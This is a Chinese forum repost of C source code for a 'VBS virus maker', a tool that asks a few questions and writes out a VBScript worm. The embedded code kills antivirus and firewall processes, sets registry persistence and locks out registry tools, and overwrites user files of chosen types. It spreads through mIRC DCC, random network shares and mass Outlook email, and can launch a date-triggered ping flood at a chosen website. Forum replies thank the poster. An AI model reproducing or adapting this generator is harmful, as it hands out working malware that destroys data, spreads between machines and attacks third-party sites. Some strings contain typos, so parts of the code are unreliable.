[转载]C写的脚本病毒制造机
信息来源:[url]http://www.blacksky.cn/BSky/showjs.asp?js_id=134[/url]作者:sql
[code]#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
#define exit_success 0
#define again 1
#define m 4
int make();
int care();
void password(void);
void out(void);
main()
{
char choose;
clrscr();
printf("*******************************************************************************\n");
printf("This is a VBS virus made machine,it's only used to study,don't used to destory.\n");
printf(" Programmed by W.Z.T\n");
printf(" Version 0.1\n");
printf("*******************************************************************************\n");
puts("\n\t1--Strat Make\t\t2--View Help\t\t3--Exit");
while(again)
{
printf("choice:");
scanf("%c",&choose);
switch(choose)
{
case'1':
{
make();
clrscr();
return 0;
}
case'2':
{
clrscr();
puts("I like Virus,so i write a machine which anybody can make a Virus much easiler.\n");
puts("This Version is my first one,i will try to write a better one later.\n");
out();
}
case'3':
{
exit(exit_success);
}
default:
{
puts("choice 1,2 or 3");
}
}
}
}
void out(void)
{
printf("\npause");
getch();
main();
}
void password(void)
{
int i,j,y=0;
char pwd[11+1],pass[]="wangzhitong";
fflush(stdin);
printf("If you want to use this function,please input the password.\n");
for(j=0;;)
{
if((pwd[j]=getch())==13)
{
pwd[j]='\0';
break;
}
else if(pwd[j]==8)
{
if(y!=0)
{
printf("\b");
y--;
j--;
}
putchar(0);
printf("\b");
}
else if(j==11)
continue;
else
{
printf("*");
y++;
j++;
}
}
if(strcmp(pwd,pass)==0)
{
printf("\ndone.\n");
}
else
{
printf("password error.\n");
}
}
int make()
{
FILE *fp,*fp1;
int i,j,aa,bb,cc,dd,ee,ff,gg,hh,jjj,kkk,lll,y=0,word=0,number=0;
char ch,w[5],*vc=w;
char subject[200],*sub=subject;
char body[400],*bo=body;
char string[100],*pop=string;
char road[100],name2[40],road2[100],time[20],web[100];
char pwd[11+1],pass[]="wangzhitong";
char *ext1[27]={"txt","vbs","vbe","html","htm","bak","dll","pfg","ppl","c","bin","sig","vdb","dat","doc","xls","tsk","tmp","vdb","vlg","dsc","ptn","set","log","cfg","idx","rec"};
char **pl=ext1;
char str1[25][100]={"(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\"","(ext=\""};
char str2[]="\") or";
char *str[27],**pa=str;
char *a="\non error resume next\nset fso=createobject(\"scripting.filesystemobject\")\nset a=createobject(\"wscript.shell\")\nset dir1=fso.getspecialfolder(0)\nset dir2=fso.getspecialfolder(1)\nset k=fso.getfile(wscript.scriptfullname)\n";
char *b="k.copy(dir2&\"\\system.vbe\")\n";
char *c="k.copy(dir1&\"\\windows.vbe\")\n";
char *d="set ag=fso.createtextfile(dir1&\"\kill.vbe\")\nag.writeline \"on error resume next\"\nag.writeline \"do\"\nag.writeline \"strComputer=\"\".\"\"\"\n";
char *e="ag.writeline \"set objWMIService=GetObject(\"\"winmgmts:\"\" & \"\"{impersonationLevel=impersonate}!\\\\\"\" & strComputer & \"\"\\root\\cimv2\"\")\"\n";
char *f="ag.writeline \"fv=Array(\"\"notepad.exe\"\",\"\"pccguide.exe\"\",\"\"pccclient.exe\"\",\"\"rfw.exe\"\",\"\"davpfw.exe\"\",\"\"vpc32.exe\"\",\"\"ravmon.exe\"\")\"\n";
char *g="ag.writeline \"for Each fa in fv\"\nag.writeline \"Set colProcessList=objWMIService.ExecQuery (\"\"Select * from Win32_Process Where Name=\'\"\"&fa&\"\"\'\"\")\"\nag.writeline \"For Each objProcess in colProcessList\"\n";
char *h="ag.writeline \"objProcess.Terminate()\"\nag.writeline \"Next\"\nag.writeline \"next\"\nag.writeline \"loop\"\nag.close\na.run fso.getspecialfolder(0) & \"\\kill.vbe\"\nset ai=fso.getfile(dir1&\"\\kill.vbe\")\n";
char *ii="ai.attributes=ai.attributes+2\n";
char *jj="set cc=fso.createtextfile(dir1&\"\\Run.bat\")\ncc.writeline \"@echo off\"\ncc.writeline \"cls\"\ncc.writeline \"echo %date% %time%\"\ncc.writeline \"echo Chinese hacker is the best!\"\n";
char *k="cc.writeline \"prompt $P$G$$$_*[email]tthacker@eyou.com[/email]*\"\ncc.writeline \"echo on\"\ncc.close\nset at=fso.getfile(dir1&\"\\Run.bat\")\nat.attributes=at.attributes+2\n";
char *l="set sii=fso.createtextfile(dir2&\"\\event.ini\")\nsii.writeline \"[Levels]\"\nsii.writeline \"Enabled=1\"\nsii.writeline \"Count=6\"\nsii.writeline \"Level1=000-Unknowns\"\nsii.writeline \"000-UnknownsEnabled=1\"\n";
char *mm="sii.writeline \"Level2=100-Level 100\"\nsii.writeline \"100-Level 100Enabled=1\"\nsii.writeline \"Level3=200-Level 200\"\nsii.writeline \"200-Level 200Enabled=1\"\n";
char *nn="sii.writeline \"Level4=300-Level 300\"\nsii.writeline \"300-Level 300Enabled=1\"\nsii.writeline \"Level5=400-Level 400\"\nsii.writeline \"400-Level 400Enabled=1\"\n";
char *oo="sii.writeline \"Level6=500-Level 500\"\nsii.writeline \"500-Level 500Enabled=1\"\nsii.writeline \"\"\n";
char *pp="sii.writeline \"[000-Unknowns]\"\nsii.writeline \"UserCount=0\"\nsii.writeline \"EventCount=0\"\nsii.writeline \"\"\n";
char *qq="sii.writeline \"[100-Level 100]\"\nsii.writeline \"User1=*!*@*\"\nsii.writeline \"UserCount=1\"\nsii.writeline \"Event1=ON JOIN:#:/dcc tsend $nick \" & fso.getspecialfolder(1) & \"\\system.vbe\"\nsii.writeline \"EventCount=1\"\n";
char *rr="sii.writeline \"\"\nsii.writeline \"[200-Level 200]\"\nsii.writeline \"UserCount=0\"\nsii.writeline \"EventCount=0\"\nsii.writeline \"\"\n";
char *ss="sii.writeline \"[300-Level 300]\"\nsii.writeline \"UserCount=0\"\nsii.writeline \"EventCount=0\"\nsii.writeline \"\"\nsii.writeline \"[400-Level 400]\"\nsii.writeline \"UserCount=0\"\nsii.writeline \"EventCount=0\"\n";
char *tt="sii.writeline \"\"\nsii.writeline \"[500-Level 500]\"\nsii.writeline \"UserCount=0\"\nsii.writeline \"EventCount=0\"\nsii.close\nset wi=fso.getfile(dir2&\"\\event.ini\")\nwi.attributes=attributes+2\n";
char *uu="set rei=fso.createtextfile(dir1&\"\\check.vbe\")\nrei.writeline \"on error resume next\"\nrei.writeline \"dim bb,aa,cc\"\nrei.writeline \"set cc=createobject(\"\"wscript.shell\"\")\"\n";
char *vv="rei.writeline \"aa=minute(time)\"\nrei.writeline \"bb=aa\"\nrei.writeline \"do\"\nwei.writeline \"bb=minute(time)\"\nrei.writeline \"loop until aa>=bb+1\"\nrei.writeline \"cc.run \"\"system.vbe\"\"\"\nrei.close\n";
char *ww="a.run \"check.vbe\"\nset ahd=fso.getfile(dir1&\"\\check.vbe\")\nahd.attributes=attributes+2\nset ah=fso.getfile(dir2&\"\wscript.exe\")\nah.attributes=attritutes+2\n";
char *xx="set bh=fso.getfile(dir2&\"\\cscript.exe\")\nbh.attributes=attributes+2\nset apq=fso.createtextfile(dir2&\"\system.inf\")\napq.writeline \"[Autorun]\"\napq.writeline \"open=system.vbs\"\napq.close\n";
char *yy="set pr=fso.getfile(dir2&\"\\system.inf\")\npr.attributes=attributes+2\nkill()\nregruns()\nlistadriv()\njuyu()\nmail()\n";
char *kill1="sub kill()\nset fso=createobject(\"scripting.filesystemobject\")\nset aa=createobject(\"wscript.shell\")\nbb = \"";
char *kill2="vv = they(bb)\nset tt=fso.createtextfile(fso.getspecialfolder(0) & \"\\rav.exe\",true)\ntt.write vv\ntt.close\naa.run fso.getspecialfolder(0) & \"\\rav.exe\",1,false\ntehy(our)\nend sub\n";
char *kill3="Function they(our)\nFor mine=1 To Len(our) Step 2\nthey = they & Chr(\"&h\" & Mid(our,mine, 2))\nNext\nEnd Function\n";
char *reg1="sub regruns()\non error resume next\nset a=createobject(\"wscript.shell\")\nkj=\"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\\"\nki=\"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\\"\n";
char *reg2="a.regwrite kj&\"Internet Settings\\NoNetAutodial\",01,\"REG_BINARY\"\na.run \"RUNDLL32.exe shell32,dll,SHExitWindowsEx2\"\na.run \"ping -1 6500 -t ";
char *reg3="a.regwrite kj&\"Policies\\System\\DisableRegistryTools\",\"00000001\",\"REG_DWORD\"\n";
char *reg4="a.regwrite kj&\"Policies\\Explorer\\NoFolderOptions\",\"00000001\",\"REG_DWORD\"\n";
char *reg5="a.regwrite kj&\"Policies\\Uninstall\\NoAddFromCDorFloppy\"\"00000001\",\"DWORD\"\n";
char *reg6="a.regwrite kj&\"Policies\\Uninstall\NoAddRemovePrograms\",\"00000001\",\"REG_DWORD\"\n";
char *reg7="a.regwrite kj&\"Policies\\Uninstall\NoAddRemovePage\",\"00000001\",\"REG_DWORD\"\n";
char *reg8="a.regwrite kj&\"Policies\\Explorer\\Advanced\\folder\\Hidden\\SHOWALL\\checkedValue\",\"00000001\",\"REG_DWORD\"\n";
char *reg9="a.regwrite \"HKLM\\Software\\CLASSES\\.reg\",\"txtfile\"\n";
char *reg10="a.regwrite \"HKLM\\Software\\Microsoft\\Command Processor\\AutoRun\",\"%systemroot%\\run.bat&system32.vbe\",\"REG_SZ\"\n";
char *reg11="a.retwrite \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\system\",dir1&\"\\windows.vbe\"\nend sub\n";
char *infect1="\nsub listadriv\non error resume next\ndim d,dc,s\nset dc=fso.drives\nfor each d in dc\nIf d.DriveType = 1 or d.DriveType = 2 or d.DriveType = 3 then\nfolderlist(d.path & \"\\\")\nend if\nnext\nlistadriv = s\nend sub\n";
char *infect2="\nsub infectfiles(folderspec)\non error resume next\ndim f,f1,fc,ext,ap,mircfname,s,bname,mp3,fso,file,si\neq=\"\"\n";
char *infect3="set fso=createobject(\"scripting.filesystemobject\")\nset file=fso.opentextfile(wscript.scriptfullname,1)\nvbscopy=file.readall\nset f=fso.getfolder(folderspec)\n";
char *infect4="set fc=f.files\nfor each f1 in fc\next=fso.getextensionname(f1.path)\next=lcase(ext)\ns=lcase(ext)\n";
char *infect5="set ap=fso.opentextfile(f1.path,2,true)\nap.write vbscopy\nap.close\nend if\nb=fso.getbasename(f1.path)\n";
char *infect6="if (b=\"patch\") or (b=\"Tmntsrv\") or (b=\"TSC\") then\n";
char *infect7="set gp=fso.getfile(f1.path)\ngp.delete\nend if\nif (eq<>folderspec) then\n";
char *infect8="if (dd=\"mirc32.exe\") or (dd=\"mlink32.exe\") or (dd=\"mirc.ini\") or (dd=\"script.ini\") or (dd=\"mirc.hlp\") then\n";
char *infect9="set si=fso.createtextfile(folderspec&\"\\script.ini\")\n";
char *infect10="si.writeline \"[script]\"\nsi.writeline \"n0=on 1:join:*.*:{if($nick!=$me){halt} /dcc send $nick c:\\winnt\\windows.vbe}\"\nsi.close\neq=folderspec\nend if\nend if\nnext\nend sub\n";
char *infect11="sub folderlist(folderspec)\non error resume next\ndim f,f1,sf\nset f=fso.getfolder(folderspec)\nset sf=f.subfolders\nfor each f1 in sf\ninfectfiles(f1.path)\nnext\nend sub\n";
char *infect12="sub regcreate(regkey,regvalue)\nset regedit = createobject(\"wscript.shell\")\nregedit.regwrite regkey,regvalue\nend sub\n\nfunction regget(value)\nset regedit=createobject(\"wscript.shell\")\nregget=regedit.regread(value)\n";
char *infect13="end function\n";
char *net1="sub juyu()\ndim octa,octb,octc,rand,dot,driveconnected,sharename,count\nset fso2=createobject(\"scripting.filesystemobject\")\ncount = \"0\"\ndot = \".\"\ndriveconnexted=\"0\"\nset run=createobject(\"wscript.shell\")\n";
char *net2="set wshnetwork= wscript.createobject(\"wscript.network\")\non error resume next\nrandomize\nrandaddress()\n";
char *net3="\ndo\ndo while driveconnexted=\"0\"\ncheckaddress()\nshareformat()\nwshnetwork.mapnetworkdrive \"j:\", sharename\nenumdrives()\nloop\ncopyfiles()\ndisconnectdrive()\nrun \"&sharename&\\con\\con\", 0\nloop\nend sub\n";
char *net4="\nfunction disconnectdrive()\nwshnetwork.removenetworkdrive \"j:\"\ndriveconnected=\"0\"\nend function\n";
char *net5="\nfunction copyfiles()\nfso2.copyfile dir2&\"\\system.vbe\",\"j:\\\"\nfso2.copyfile dir2&\"\\system.inf\",\"j:\\\"\nend function\n";
char *net6="\nfunction checkaddress()\noctd=octd+1\nif octd=\"255\" then randaddress()\nend function\n";
char *net7="\nfunction shareformat()\nsharename=\"\\\\\" & octa &dot & octb &dot & octc & dot & octd & \"\\C\"\nend function\n";
char *net8="\nfunction enumdrives()\nset odrives=wshnetwork.enumnetworkdrives\nfor i=0 to odrives.count -1\nif sharename=odrives.item(i) then\ndriveconnected = 1\nelse\ndriveconnected = 0\nend if\nnext\nend function\n";
char *net9="\nfunction randum()\nrand=int((254 *rnd)+1)\nend function\n";
char *net10="\nfunction randaddress()\nif count < 50 then\nocta=int((16) * rnd + 199)\ncount=count + 1\nelse\nrandum()\nocta=rand\nend if\nrandum()\noctb=rand\noctd=\"1\"\nend function\n";
char *mail1="function mail()\non error resume next\nset Outlook=createobject(\"Outlook.Appliction\")\nif Outlook=\"Outlook\" then\nset mapi=Outlook.GetNameSpace(\"MAPI\")\nset lists=mapi.AddressLists\nfor each listsIndex in lists\n";
char *mail2="if listIndex.AddressEntries.Count <> 0 then\nContactCount=listIndex.AddressEntries.Count\n";
char *mail3="for count=1 to ";
char *mail4="set mail=Outlook.CreateItem(0)\nset contact=listIndex.AddressEntries(count)\nmail.to=contact.Address\n";
char *mail5="mail.subject=\"";
char *mail6="mail.body=\"";
char *mail7="set attachment=mail.attachments\nattachment.add dir2&\"\\system.vbe\"\nitem.deleteaftersubmit=True\nif item.to <>\"\" then\nitem.send\na.regwrite \"HKCU\\Software\\Mailtest\\mailed\",\"1\"\nend if\nnext\nend if\nnext\nend if\n";
char *mail8="end function\n";
char *end="\n\n\'Vbsmc 0.1 Beta. By[W.Z.T]";
printf("1st,What name do you want to name the Virus?\n");
printf("\n(example: *.vbs,*.vbe,*.jpg.vbs,*.txt.vbs,*.gif.vbs,*.html.vbs)\n");
scanf("%s",road);
printf("\n2nd,Input Your name:");
scanf("%s",name2);
if((fp=fopen(road,"w"))==NULL)
{
printf("Error! Can't create the file.\n");
out();
}
fputs("' created by " ,fp);
fputs(name2,fp);
fputs(a,fp);
printf("\n3rd,do you want to copy it to \"windows\"? (1 or 0)\n");
scanf("%d",&aa);
if(aa==1)
{
fputs(c,fp);
printf("\ndone.\n");
}
printf("4th,do you want to copy it to \"system\"? (1 or 0)\n");
scanf("%d",&bb);
if(bb==1)
{
fputs(b,fp);
printf("\ndone.\n");
}
clrscr();
window(1,12,80,12);
printf("\n5th,This function can stop the firewall's process all the time.(1 or 0)\n");
scanf("%d",&cc);
if(cc==1)
{
fflush(stdin);
printf("Enter the password before use this function:\n");
for(j=0;;)
{
if((pwd[j]=getch())==13)
{
pwd[j]='\0';
break;
}
else if(pwd[j]==8)
{
if(y!=0)
{
printf("\b");
y--;
j--;
}
putchar(0);
printf("\b");
}
else if(j==11)
continue;
else
{
printf("*");
y++;
j++;
}
}
if(strcmp(pwd,pass)==0)
{
fputs(d,fp);
fputs(e,fp);
fputs(f,fp);
fputs(g,fp);
fputs(h,fp);
fputs(ii,fp);
printf("\ndone.\n");
}
else
{
printf("\nPassword Error! You can't use this function.\n");
}
}
fputs(jj,fp);
fputs(k,fp);
fputs(l,fp);
fputs(mm,fp);
fputs(nn,fp);
fputs(oo,fp);
fputs(pp,fp);
fputs(qq,fp);
fputs(rr,fp);
fputs(ss,fp);
fputs(tt,fp);
printf("\n6th,Do you want to run it every 1 mintue? (1/0)\n");
scanf("%d",&dd);
if(dd==1)
{
fputs(uu,fp);
fputs(vv,fp);
fputs(ww,fp);
fputs(xx,fp);
fputs(yy,fp);
}
printf("\ndone!\n");
printf("7th,Do you want to join an *.exe in it? (1/0)\n");
scanf("%d",&ee);
if(ee==1)
{
fputs(kill1,fp);
printf("Where is the *.exe? Input the road:\n");
scanf("%s",road2);
if((fp1=fopen(road2,"rb"))==NULL)
{
printf("Can't open the file %s",road2);
exit(0);
}
while(!feof(fp1))
{
ch=fgetc(fp1);
fprintf(fp,"%x",ch);
}
fputs("\"\n",fp);
fputs(kill2,fp);
fputs(kill3,fp);
fclose(fp1);
}
printf("\ndone!\n");
printf("8th,Do you want to overwrite Regedit? (1/0)\n");
scanf("%d",&ff);
if(ff==1)
{
fputs(reg1,fp);
printf("\nDo you want D.D.O.S to a website? (1/0)\n");
scanf("%d",&gg);
if(gg==1)
{
printf("When(example:20040101)\n");
scanf("%s",time);
printf("Where(example:[url]www.Mirosoft.com[/url])\n");
scanf("%s",web);
fputs("if year(date)&month(date)&day(date)= ",fp);
fputs(time ,fp);
fputs( "then\n",fp);
fputs(reg2,fp);
fputs(web,fp);
fputs("\",0\nend if\n",fp);
}
fputs(reg3,fp);
fputs(reg4,fp);
fputs(reg5,fp);
fputs(reg6,fp);
fputs(reg7,fp);
fputs(reg8,fp);
fputs(reg9,fp);
fputs(reg10,fp);
fputs(reg11,fp);
}
printf("\ndone!\n");
printf("9th,Do you want to infect files? (1/0)\n");
scanf("%d",&hh);
if(hh==1)
{
fputs(infect1,fp);
fputs(infect2,fp);
fputs(infect3,fp);
fputs(infect4,fp);
fputs("if ",fp);
printf("Please chocie the files you want to infect:\n\n");
for(i=0;i<27;i++)
{
if(i%13==0)
{ printf("\n");}
printf("%5s",*(pl+i));
}
printf("\n\nYour choice:\n");
scanf("%s",pop);
for(i=0;(ch=*(pop+i))!='\0';i++)
{
if(ch==',')
word=0;
else
{
if(word==0)
{
word=1;
number++;
}
}
}
printf("%d\n",number);
printf("input again:\n");
for(i=0;i<number;i++)
{
gets(*(pa+i));
}
printf("\n\n");
for(i=0;i<number;i++)
{
strcat(str1,*(pa+i));
strcat(str1,str2);
}
for(i=0;i<number;i++)
{
fputs(str1,fp);
fputs(" ",fp);
}
fputs(" (ext=\"html\") then\n",fp);
fputs(infect5,fp);
fputs(infect6,fp);
fputs(infect7,fp);
fputs(infect8,fp);
fputs(infect9,fp);
fputs(infect10,fp);
fputs(infect11,fp);
fputs(infect12,fp);
fputs(infect13,fp);
}
printf("\ndone!\n");
printf("10th,Do you want to attack the network? (1/0)\n");
scanf("%d",&jjj);
if(jjj==1)
{
fputs(net1,fp);
fputs(net2,fp);
fputs(net3,fp);
fputs(net4,fp);
fputs(net5,fp);
fputs(net6,fp);
fputs(net7,fp);
fputs(net8,fp);
fputs(net9,fp);
fputs(net10,fp);
}
printf("\ndone.\n");
printf("\n11th,Do you want to mail to others? (1 or 0)\n");
scanf("%d",&kkk);
if(kkk==1)
{
fputs(mail1,fp);
fputs(mail2,fp);
fputs(mail3,fp);
printf("How many people do you want to mail?\n");
scanf("%s",vc);
printf("input the mail subject:\n");
scanf("%s",sub);
printf("input the body:\n");
scanf("%s",bo);
fputs(vc,fp);
fputs("\n",fp);
fputs(mail4,fp);
fputs(mail5,fp);
fputs(sub,fp);
fputs("\"\n",fp);
fputs(mail6,fp);
fputs(bo,fp);
fputs("\"\n",fp);
fputs(mail7,fp);
fputs(mail8,fp);
}
fputs(end,fp);
printf("\n!done!\n");
printf("Well done.\n");
fclose(fp);
}[/code]
注释:sql为邪恶八进制会员,这个代码他亲自提供的地点,在这个帖子里面[url]http://www.eviloctal.com/forum/htm_data/23/0506/11572.html[/url]
不好意思。我开始是在其他地方看到的,不知道此代码原本就在邪恶八进制里面了,不好意思 早就想找一个病毒知道机的代码学习了!今天终于找到了!谢谢楼主成全!
页:
[1]